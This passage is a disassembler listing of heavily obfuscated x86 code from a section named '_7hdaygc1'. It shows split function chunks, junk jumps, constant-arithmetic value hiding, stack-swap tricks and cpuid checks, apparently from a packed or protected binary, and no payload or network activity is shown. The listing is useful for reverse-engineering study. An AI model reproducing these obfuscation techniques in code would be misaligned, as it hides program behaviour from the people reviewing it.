; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_429C13:				; CODE XREF: sub_425C3B+27FBj
		jnp	loc_42A3A7
		cdq
		jmp	loc_426206
; END OF FUNCTION CHUNK	FOR sub_425C3B

; =============== S U B	R O U T	I N E =======================================



sub_429C1F	proc near		; CODE XREF: _7hdaygc1:0042EE48j
					; sub_42F56C+1p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042852A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428D57 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042A177 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D54F SIZE 00000005 BYTES

		xchg	edx, [esp+10h+var_10]
		pop	edx
		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp+10h+var_10]
		push	esi
		jmp	loc_42A177
sub_429C1F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_429C2F:				; CODE XREF: sub_425F27:loc_423907j
		jge	loc_42BDBB


loc_429C35:				; CODE XREF: sub_42DE6F-569Cj
		jmp	nullsub_69
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
		pushf
		mov	esi, 0B81669BCh
		cmp	esi, edi
		jmp	loc_42BDAD
; ---------------------------------------------------------------------------


loc_429C47:				; DATA XREF: _7hdaygc1:0042A1CAo
		mov	esp, ebp
		xchg	esi, [esp]
		mov	ebp, esi
		xchg	ebp, [esp]
		mov	esi, ebp
		jmp	loc_4257B1
; ---------------------------------------------------------------------------
		jle	loc_4265DD
		jmp	sub_42F152
; ---------------------------------------------------------------------------


loc_429C63:				; CODE XREF: _7hdaygc1:0042BF76j
		add	edx, ebx
		xchg	edi, esi
		sbb	esi, ebp


loc_429C69:				; CODE XREF: _7hdaygc1:loc_42422Fj
		push	40h
		mov	eax, [ebp-4]
		push	eax
		push	offset sub_426606
		jmp	loc_4245AD
; ---------------------------------------------------------------------------
		push	ecx
		push	0BC100868h


loc_429C7F:				; CODE XREF: _7hdaygc1:00429794j
		xchg	ebx, [esp]
		mov	ecx, ebx
		pop	ebx
		jmp	loc_426F17
; ---------------------------------------------------------------------------
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-1Ch], 0FFFFFFFFh
		jz	loc_42F171
		jmp	loc_42422F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4242E0


loc_429C9C:				; CODE XREF: sub_4242E0:loc_42C98Bj
		pop	eax
		sub	eax, 6915CA03h
		or	eax, 8C8215EBh
		xor	eax, 0BEDAB7FFh
		xchg	eax, [esp+0]
		push	offset sub_426DD9
		jmp	nullsub_49
; END OF FUNCTION CHUNK	FOR sub_4242E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DBF7


loc_429CBC:				; CODE XREF: sub_42DBF7+1E2Cj
		call	sub_42AA07
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_429B49
		jmp	loc_4294AA
; END OF FUNCTION CHUNK	FOR sub_42DBF7

; =============== S U B	R O U T	I N E =======================================



sub_429CCF	proc near		; DATA XREF: sub_424E7E+4741o

; FUNCTION CHUNK AT 0042E1A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F888 SIZE 0000000C BYTES

		xor	esi, 0C145B4ACh
		add	esi, ebp
		add	esi, 60F88B1Fh
		mov	[esi], eax
		xchg	ebp, [esp+0]
		jmp	loc_42E1A8
sub_429CCF	endp

; ---------------------------------------------------------------------------


loc_429CE7:				; DATA XREF: _7hdaygc1:loc_42CAFCo
		call	sub_42D757
		mov	edx, 3CC6743Ch
		call	sub_42C1AF
		push	eax
		ror	eax, 18h
		mov	ds:dword_42E18C, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D8AF


loc_429D01:				; CODE XREF: sub_42D8AF+7j
		jmp	sub_42C16F
; END OF FUNCTION CHUNK	FOR sub_42D8AF
; ---------------------------------------------------------------------------


loc_429D06:				; CODE XREF: _7hdaygc1:00426CEDj
		rol	eax, 18h
		jmp	loc_42E272
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_429D0E:				; CODE XREF: sub_42AA07-6EC5j
		mov	eax, [eax]


loc_429D10:				; CODE XREF: _7hdaygc1:0042D14Cj
		push	eax
		call	sub_42B9CE


loc_429D16:				; CODE XREF: sub_42CD1F+10j
		jmp	loc_42A828
; END OF FUNCTION CHUNK	FOR sub_42AA07

; =============== S U B	R O U T	I N E =======================================



sub_429D1B	proc near		; DATA XREF: _7hdaygc1:loc_42DF37o

; FUNCTION CHUNK AT 00424804 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424FC5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042C16A SIZE 00000005 BYTES

		mov	eax, 1
		xor	ebx, ebx
		xor	edx, edx
		cpuid
		and	eax, 2FFFh


loc_429D2B:				; CODE XREF: _7hdaygc1:0042DA9Ej
		jmp	loc_42C16A
sub_429D1B	endp

; ---------------------------------------------------------------------------


loc_429D30:				; CODE XREF: _7hdaygc1:004266AAj
		jz	loc_42D84D
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_429D36:				; CODE XREF: sub_42BAE7:loc_423123j
		add	ecx, 0EADACBFCh
		xchg	ecx, [esp+0]
		jmp	sub_424BE6
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------


loc_429D44:				; CODE XREF: _7hdaygc1:loc_42932Ej
					; _7hdaygc1:0042E037j
		push	offset loc_42EB94
		jmp	locret_42454A
; ---------------------------------------------------------------------------


loc_429D4E:				; CODE XREF: _7hdaygc1:00424003j
		push	ecx
		jmp	sub_425459
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4252F5


loc_429D54:				; CODE XREF: sub_4252F5:loc_4252FAj
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		push	offset loc_429C07
		jmp	nullsub_26
; END OF FUNCTION CHUNK	FOR sub_4252F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_429D66:				; CODE XREF: sub_423648:loc_42F142j
		test	byte ptr [ebp-8], 2
		jz	loc_42362D
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_42F7BE
		pop	ecx
		mov	[ebp-20h], eax


loc_429D7D:				; CODE XREF: _7hdaygc1:0042B072j
		jmp	loc_42362D
; ---------------------------------------------------------------------------


loc_429D82:				; CODE XREF: sub_423648:loc_42F13Cj
		test	byte ptr [ebp-8], 2
		jmp	loc_42361A
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


loc_429D8B:				; CODE XREF: sub_42F8C4-94DBj
					; sub_42F8C4:loc_42977Cj
		push	0DCDA0B05h
		pop	eax
		sub	eax, 2616B030h
		add	eax, 0D8E3C601h
		and	eax, 2CF70ADDh
		or	eax, 0DE660C44h
		add	eax, 0AAE4D2EBh
		jmp	loc_4297E3
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_42F654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_429DBA:				; CODE XREF: sub_423172+AE59j
		call	sub_42F1C6
; END OF FUNCTION CHUNK	FOR sub_423172
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_429DBF:				; CODE XREF: sub_425A37+58j
		add	dword ptr [esi], 0F80586h
		call	sub_42F9D2


loc_429DCA:				; DATA XREF: sub_428B11:loc_4295D5o
		push	39835Ch
		mov	eax, ebx
		jmp	loc_424DB3
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_429DD6:				; CODE XREF: sub_4291EA+37ACj
		test	ebp, 90E737F0h
		jmp	loc_4254DA
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------


loc_429DE1:				; CODE XREF: _7hdaygc1:0042AD06j
		jge	loc_42F37D


loc_429DE7:				; CODE XREF: _7hdaygc1:00426661j
		jmp	loc_4268EB
; ---------------------------------------------------------------------------
		jb	loc_42CB08
		jmp	loc_42F378
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429E9F


loc_429DF7:				; CODE XREF: sub_429E9F+7j
		xchg	esi, [esp+0]
		push	0BEBF6BB8h
		pop	edx
		and	edx, 0E84C070Eh
		sub	edx, 0F779AABCh
		jnz	loc_42888E
		cdq
		jmp	loc_42888C
; END OF FUNCTION CHUNK	FOR sub_429E9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_429E18:				; CODE XREF: sub_42FD11-8F6Ej
		mov	esi, [ecx]
		rol	ebx, 1Bh
		or	ecx, ebp
		jmp	loc_42EC3C
; END OF FUNCTION CHUNK	FOR sub_42FD11
; ---------------------------------------------------------------------------
		add	ebp, 0D1DFAC76h
		jmp	sub_427CC6
; ---------------------------------------------------------------------------


loc_429E2F:				; CODE XREF: _7hdaygc1:004294A5j
		jnz	loc_42E2C0

; =============== S U B	R O U T	I N E =======================================



sub_429E35	proc near		; CODE XREF: sub_42524F:loc_4273B8p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	eax, [esp-4+arg_0]
		jmp	nullsub_2
sub_429E35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		popf
		jno	loc_42BE3E
		jmp	sub_425D65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A2B


loc_429E4D:				; CODE XREF: sub_424A2B:loc_424A33j
		test	ecx, 20000h
		jmp	loc_42C2F0
; END OF FUNCTION CHUNK	FOR sub_424A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_429E58:				; CODE XREF: sub_42CFDA:loc_428A9Cj
		popf
		call	sub_42A94C
		push	1A2B7CDDh


loc_429E63:				; CODE XREF: _7hdaygc1:0042356Fj
		pop	edx
		jmp	loc_424850
; END OF FUNCTION CHUNK	FOR sub_42CFDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_429E69:				; CODE XREF: sub_42BAE7:loc_42476Cj
		mov	[ebp+0], edx
		or	ecx, 6E5F436Ch
		jg	loc_42F65D
		jmp	loc_429385
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------


loc_429E7D:				; CODE XREF: _7hdaygc1:00425E1Cj
		and	edx, 6D0F103Ah
		add	edx, 398DAD65h
		add	edx, ebp
		add	edx, 5E664259h
		mov	[edx], eax
		pop	edx
		mov	edx, [ebp-4]
		jmp	loc_429A72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F291


loc_429E9C:				; CODE XREF: sub_42F291+59Cj
		shr	edi, 1Ah
; END OF FUNCTION CHUNK	FOR sub_42F291

; =============== S U B	R O U T	I N E =======================================



sub_429E9F	proc near		; CODE XREF: sub_425C3B:loc_42620Cp

; FUNCTION CHUNK AT 0042888C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00429DF7 SIZE 00000021 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	esi
		mov	esi, edx
		jmp	loc_429DF7
sub_429E9F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425492


loc_429EAB:				; CODE XREF: sub_425492-1605j
		or	eax, ds:4000F9h
		push	offset loc_4263C7
		jmp	loc_42AE74
; END OF FUNCTION CHUNK	FOR sub_425492

; =============== S U B	R O U T	I N E =======================================



sub_429EBB	proc near		; CODE XREF: sub_42EBD6-6471p

; FUNCTION CHUNK AT 00425F53 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00426711 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E496 SIZE 00000009 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	885E995Dh
		pop	eax
		jmp	loc_425F53
sub_429EBB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_429ECB:				; CODE XREF: _7hdaygc1:loc_4242ACj
		push	offset loc_42D70C
		jmp	loc_423DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_429ED5:				; CODE XREF: sub_425F27-2EEBj
		jz	loc_428E17
		jmp	loc_423168
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E973


loc_429EE0:				; CODE XREF: sub_42E973-A834j
		rol	ecx, 1Ch
		add	ecx, 6DFD78DFh
		add	eax, ecx
		pop	ecx
		push	edx


loc_429EED:				; CODE XREF: _7hdaygc1:0042D0E6j
					; _7hdaygc1:0042E8EDj
		pushf
		jmp	loc_42C14E
; END OF FUNCTION CHUNK	FOR sub_42E973
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F03C


loc_429EF3:				; CODE XREF: sub_42F03C+1j
		mov	ebp, esp
		push	ecx
		call	sub_42E695


loc_429EFB:				; CODE XREF: _7hdaygc1:0042E5F2j
		jmp	nullsub_109
; END OF FUNCTION CHUNK	FOR sub_42F03C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_429F00:				; CODE XREF: sub_429318+1192j
		jmp	loc_42C07B
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------


loc_429F05:				; CODE XREF: _7hdaygc1:0042B1EFj
					; _7hdaygc1:loc_42DFD0j
		push	edi
		push	98AF17ECh
		pop	edi
		add	edi, 0E80DAF5Eh
		jmp	loc_42E9F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_429F17:				; CODE XREF: sub_424AE1+1BA6j
		or	eax, 204B38E8h
		cmp	eax, 45302B1Dh
		jmp	loc_4253E0
; END OF FUNCTION CHUNK	FOR sub_424AE1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42986C


loc_429F29:				; CODE XREF: sub_42986C-2AB9j
		jmp	loc_423285
; END OF FUNCTION CHUNK	FOR sub_42986C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_429F2F:				; CODE XREF: sub_424F62+5798j
		push	3E51C7DBh
		pop	esi
		add	esi, 0A5F08E7Eh
		sub	esi, 82EBC574h
		xor	esi, 0F40E1CFEh
		and	esi, 5C517B19h


loc_429F4D:				; CODE XREF: _7hdaygc1:0042C1BEj
		jmp	loc_42C60D
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42986C


loc_429F52:				; CODE XREF: sub_42986C:loc_42CAAFj
		mov	eax, [eax]
		jnz	loc_429873
		retn
; ---------------------------------------------------------------------------


loc_429F5B:				; CODE XREF: sub_42986C:loc_429873j
		cmp	dword ptr [eax], 0FFFFFFFFh
		jmp	loc_42D2CC
; END OF FUNCTION CHUNK	FOR sub_42986C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_429F63:				; CODE XREF: sub_425B78:loc_4281BFj
					; sub_424CE0:loc_42E1DDj
		call	sub_42862C
		jo	loc_42A72F
		jmp	sub_42826A
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------


loc_429F73:				; CODE XREF: _7hdaygc1:0042FAB1j
		sbb	esi, 9AA67BF1h
		mov	eax, edi
		and	esi, 5235ECFBh
		sbb	ecx, 9B1782EDh
		jmp	loc_4289A6
; ---------------------------------------------------------------------------


loc_429F8C:				; CODE XREF: _7hdaygc1:0042AEDCj
		mov	ebx, 0BFA6ACBCh
		jmp	loc_42618A
; ---------------------------------------------------------------------------


loc_429F96:				; DATA XREF: sub_42BAD5-5AF3o
		mov	eax, [ebp-44h]
		mov	eax, [eax+14h]
		mov	edx, [ebp-44h]
		jb	loc_425A7B
		add	eax, [edx+10h]
		push	ebx
		push	0F8263FC9h
		jmp	loc_428A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423812


loc_429FB3:				; CODE XREF: sub_423812:loc_4235F8j
					; _7hdaygc1:00423615j
		add	esi, 89A49F4Bh
		push	offset sub_4296EF
		jmp	nullsub_219
; END OF FUNCTION CHUNK	FOR sub_423812

; =============== S U B	R O U T	I N E =======================================



sub_429FC3	proc near		; CODE XREF: _7hdaygc1:00424CFFj
					; sub_423DDB+8A0Ep

; FUNCTION CHUNK AT 004252E2 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00426639 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042EE3D SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_429B49
		mov	[ebp-4], eax
		jmp	loc_42EE3D
sub_429FC3	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_429FD5:				; CODE XREF: sub_423172+1AB0j
		jmp	loc_42DFB8
; END OF FUNCTION CHUNK	FOR sub_423172
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_429FDB:				; CODE XREF: _7hdaygc1:0042C8EBj
		jmp	locret_423416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428498


loc_429FE0:				; CODE XREF: sub_428498+1E05j
		pop	esi
		sub	edi, 0FECEEB8Dh
		xor	edi, 0E497A0F2h
		cmp	edi, 52F3000Dh
		jmp	loc_42C0B1
; END OF FUNCTION CHUNK	FOR sub_428498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425360


loc_429FF8:				; CODE XREF: sub_425360:loc_42A46Ej
		rol	ebx, 17h
		sub	ebx, 4C39C551h
		or	ebx, 74B61A23h
		xor	ebx, 474E7705h
		jmp	loc_42B5F7
; END OF FUNCTION CHUNK	FOR sub_425360
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB2C


loc_42A012:				; CODE XREF: sub_42EB2C+Dj
		push	6D709453h
; END OF FUNCTION CHUNK	FOR sub_42EB2C
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_42A017:				; CODE XREF: sub_425A37:loc_42CB9Bj
		pop	eax
		or	eax, 7927A05Bh
		add	eax, ds:4000FBh
		and	eax, 2C785EF6h
		add	eax, 0DC2A41EEh
		mov	eax, [eax]
		call	sub_424744

locret_42A037:				; CODE XREF: sub_42D471+8j
		retn
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429098


loc_42A038:				; CODE XREF: _7hdaygc1:0042803Dj
					; sub_429098+11j
		jmp	loc_42532F
; END OF FUNCTION CHUNK	FOR sub_429098
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_42A03E:				; CODE XREF: sub_425C3B+9BA0j
		jmp	loc_429976
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42A043:				; CODE XREF: sub_42AFFE+4039j
		jmp	loc_42EB9B
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A4F1


loc_42A048:				; CODE XREF: sub_42A4F1-415Ej
		jmp	nullsub_164
; END OF FUNCTION CHUNK	FOR sub_42A4F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_42A04D:				; CODE XREF: sub_425752-1D71j
		jmp	loc_426014
; END OF FUNCTION CHUNK	FOR sub_425752

; =============== S U B	R O U T	I N E =======================================



sub_42A052	proc near		; CODE XREF: sub_42B0DC:loc_4254FFp
					; _7hdaygc1:004288ABj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423B7E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424809 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426417 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427F96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429A54 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042A47E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A898 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B96F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CBB5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042DB87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F503 SIZE 00000005 BYTES

		xchg	edx, [esp+4+var_4]
		pop	edx
		xchg	edi, [esp+0]
		mov	ecx, edi
		pop	edi
		mov	eax, ds:dword_42E188
		or	eax, eax
		jmp	loc_42F503
sub_42A052	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426315


loc_42A069:				; CODE XREF: sub_426315+10j
		push	3FC93B63h
		pop	eax
		rol	eax, 0Bh
		xor	eax, 0A9487AA6h
		add	eax, ebp
		add	eax, 1F6C9C8Ch
		mov	eax, [eax]
		jmp	loc_42DD27
; END OF FUNCTION CHUNK	FOR sub_426315
; ---------------------------------------------------------------------------
		push	472DA13Bh
		pop	edx
		sub	edx, 0CA2D35B3h
		and	edx, 25CBC135h
		sub	edx, 0FAE9A8ECh
		add	edx, 83EE7363h
		call	sub_42C1AF
		jmp	loc_424043
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42A0AF:				; CODE XREF: sub_4291EA:loc_428409j
		mov	eax, [ebp+var_4]
		pop	ecx
		xchg	ecx, [esp-8+arg_0]
		mov	ebp, ecx
		xchg	esi, [esp-8+arg_0]
		jmp	loc_4243C9
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EA6A


loc_42A0C0:				; CODE XREF: sub_42EA6A+Dj
		rol	eax, 11h
		push	ebx
		mov	ebx, eax
		push	offset sub_42F8B0
		jmp	nullsub_178
; END OF FUNCTION CHUNK	FOR sub_42EA6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42A0D0:				; CODE XREF: sub_42C16F:loc_42D6F5j
		jge	loc_42705B


loc_42A0D6:				; CODE XREF: sub_42D9E1-1457j
		jmp	loc_4283A6
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_42A0DB:				; CODE XREF: _7hdaygc1:004247BEj
		jmp	loc_42DE95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42A0E0:				; CODE XREF: sub_423DFC+16j
		jmp	loc_424665
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
		or	edi, 24EE01DAh
		or	edx, ebx


loc_42A0ED:				; CODE XREF: _7hdaygc1:00425DB6j
		jmp	loc_427053
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6A0


loc_42A0F2:				; CODE XREF: sub_42C6A0-1F1Fj
		sub	eax, [ebp-28h]
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42C6A0
; ---------------------------------------------------------------------------


loc_42A0FF:				; CODE XREF: _7hdaygc1:00426833j
		jmp	locret_4231B6

; =============== S U B	R O U T	I N E =======================================



sub_42A104	proc near		; CODE XREF: sub_42E51C:loc_42A775p
					; sub_42E1F1+4p

; FUNCTION CHUNK AT 00425AE1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042F0A0 SIZE 00000014 BYTES

		push	ebp
		jmp	loc_425AE1
sub_42A104	endp

; ---------------------------------------------------------------------------


loc_42A10A:				; CODE XREF: _7hdaygc1:0042A5CDj
		xchg	edx, [esp]
		jmp	loc_42F9CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4295F7


loc_42A112:				; CODE XREF: sub_4295F7-1443j
					; _7hdaygc1:004281CCj ...
		add	esi, 0F0425B4Dh
		xchg	esi, [esp+0]
		jmp	loc_4297C9
; END OF FUNCTION CHUNK	FOR sub_4295F7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFF5


loc_42A121:				; CODE XREF: sub_42EFF5+7j
		jmp	nullsub_214
; END OF FUNCTION CHUNK	FOR sub_42EFF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A607


loc_42A126:				; CODE XREF: sub_42A607+Bj
		xchg	ecx, [esp+0]
		jmp	sub_42E29B
; END OF FUNCTION CHUNK	FOR sub_42A607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_42A12E:				; CODE XREF: sub_42C50D:loc_42C3FBj
		jle	loc_42C34A
		push	ebp
		jmp	loc_423D3A
; END OF FUNCTION CHUNK	FOR sub_42C50D
; ---------------------------------------------------------------------------


loc_42A13A:				; CODE XREF: _7hdaygc1:00425ADCj
		jp	loc_4250D6
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_42A140:				; CODE XREF: sub_42EF91-2611j
		add	edi, 5A50B31Eh
		popf
		xchg	edi, [esp+18h+var_18]
		jmp	loc_42E057
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
		lea	eax, [ebp-14h]
		jmp	loc_42A1F0
; ---------------------------------------------------------------------------
		jb	loc_42B085
		jmp	sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42A162:				; CODE XREF: sub_424AE1:loc_42546Dj
		pop	esi
		rol	esi, 7
		add	esi, 7D118D8Ah
		sub	esi, 7BD0A1Ah
		call	sub_42C002
; END OF FUNCTION CHUNK	FOR sub_424AE1
; START	OF FUNCTION CHUNK FOR sub_429C1F


loc_42A177:				; CODE XREF: sub_429C1F+Bj
		jmp	loc_42852A
; END OF FUNCTION CHUNK	FOR sub_429C1F

; =============== S U B	R O U T	I N E =======================================



sub_42A17C	proc near		; CODE XREF: sub_423B20+4C20p
					; _7hdaygc1:0042A53Fj

; FUNCTION CHUNK AT 0042AF83 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042BE02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C1D8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042C33F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DBD1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ED93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F6BD SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		or	eax, eax
		jnz	loc_426493
		jmp	loc_42C33F
sub_42A17C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BA2C


loc_42A18D:				; CODE XREF: sub_42BA2C-2A49j
		xchg	edi, esi
		sbb	ecx, ebp
		popf
		xor	esi, eax
		jmp	loc_42FB07
; END OF FUNCTION CHUNK	FOR sub_42BA2C

; =============== S U B	R O U T	I N E =======================================



sub_42A199	proc near		; DATA XREF: _7hdaygc1:0042D58Ao
		push	esi
sub_42A199	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42A19A:				; CODE XREF: sub_424AE1:loc_426671j
		push	0F6681AB2h
		pop	esi
		and	esi, 0C334B41Eh
		xor	esi, 0C2201016h
		xchg	esi, [esp+0]
		pushf
		jmp	loc_429BED
; END OF FUNCTION CHUNK	FOR sub_424AE1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42A1B6	proc near		; CODE XREF: sub_425C3B:loc_429BADp
					; _7hdaygc1:0042EC29j

; FUNCTION CHUNK AT 004259B5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042957B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B4CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C25C SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [eax]
		cmp	eax, [ebp-0Ch]
		jnz	loc_42DF67


loc_42A1C5:				; CODE XREF: sub_425F27+44BEj
		jmp	loc_42B4CA
sub_42A1B6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	offset loc_429C47
		jmp	loc_42E59E
; ---------------------------------------------------------------------------


loc_42A1D4:				; DATA XREF: _7hdaygc1:0042BAB1o
		sub	ecx, eax
		xor	eax, eax
		mov	al, [ebp-9]
		shl	eax, cl
		mov	cl, [ebp-0Bh]
		xor	edx, edx
		mov	dl, [ebp-9]
		jmp	loc_42D47E
; ---------------------------------------------------------------------------


